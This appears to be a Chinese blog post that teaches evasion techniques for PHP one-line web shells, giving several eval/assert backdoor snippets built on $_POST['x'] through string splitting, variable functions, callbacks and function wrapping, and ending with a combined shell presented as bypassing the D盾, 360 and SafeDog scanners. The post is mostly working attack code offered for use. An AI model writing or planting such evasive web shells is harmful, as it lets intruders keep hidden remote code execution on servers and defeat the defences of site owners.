欢迎光临
我们一直在努力
"

PHP一句话过狗、卫士、D盾等免杀思路!

1.关键字拆分。

         比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样。


         总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法。

2.可变变量、引用、可变函数。

        可变变量  比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
        测试结果: 1471491008-7232-204250pko88bn8ffnfexu4
        总结:这种方法对狗等WAF可以绕过哦~但是对于D盾这种多规则的是无效的!

        引用  比如$a=$_POST[‘x’];$b=&$a;@eval($b);
        测试结果: 1471491006-6569-204458hbcut7y0ozmzt7vk

1.jpg (157.39 KB, 下载次数: 1)

下载附件  保存到相册

6 天前 上传

        总结:这种方法与上一种方法类似。

        可变函数  比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
        测试结果: 1471491007-9082-204737vuh31kfiq3ljxuu3
        总结:这种方法对于狗、3卫士、D盾之类的均没有作用哦~

3.添加其他代码。

添加其他代码  比如  if(empty($a))

                                       {
                                              $a=$_POST[‘x’];
                                       }

                                        @eval($a);
        测试结果: 1471491006-8285-205001dz0q2n66xajynpn2
        总结:这种方法比较适合脑洞比较大的小伙伴们~

4.函数替换。

        使用其他函数,比如eval可以使用assert替换。


        总结:这种方法适合eval函数被禁用时使用哦~

5.封装到新的函数中。

       新定义一个函数,使其封装到新函数中。

       function test($a){   //定义一个名为test的函数,并使用$a接受参数

               eval($a);

       }

        test($_POST[‘x’]);

       测试结果: 1471491007-8313-205203btksu9tcx8z9cc84
       总结:这种方法适合有PHP基础的人哦,姿势风骚~不怕不过!

6.函数回调。

       使用其他函数进行调用,并执行。

       如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
       测试结果: 1471491006-1761-205316ykue1s28kd12uk9u
       总结:这种方法适合有PHP基础的人哦~这种方法绝对过WAF哦~


7.利用各种方法的特性写出过WAF的一句话。
       <?php
function test($a){      //利用所学的封装函数
if (empty($a)){       //利用所学的添加其他代码
$a=”echo ‘QQ:844812159’;”;      //使用这句代码扰乱D盾的判断
}
@eval($a);
}
@test($_POST[‘x’]);
?>



测试结果: 1471491009-2387-210113nly51hltlttethty

转载请注明: 转载自Legend‘s BLog

本文链接地址: PHP一句话过狗、卫士、D盾等免杀思路!



未经允许不得转载:Legend‘s BLog » PHP一句话过狗、卫士、D盾等免杀思路!

分享到:更多 ()

发表评论

邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

无觅相关文章插件,快速提升流量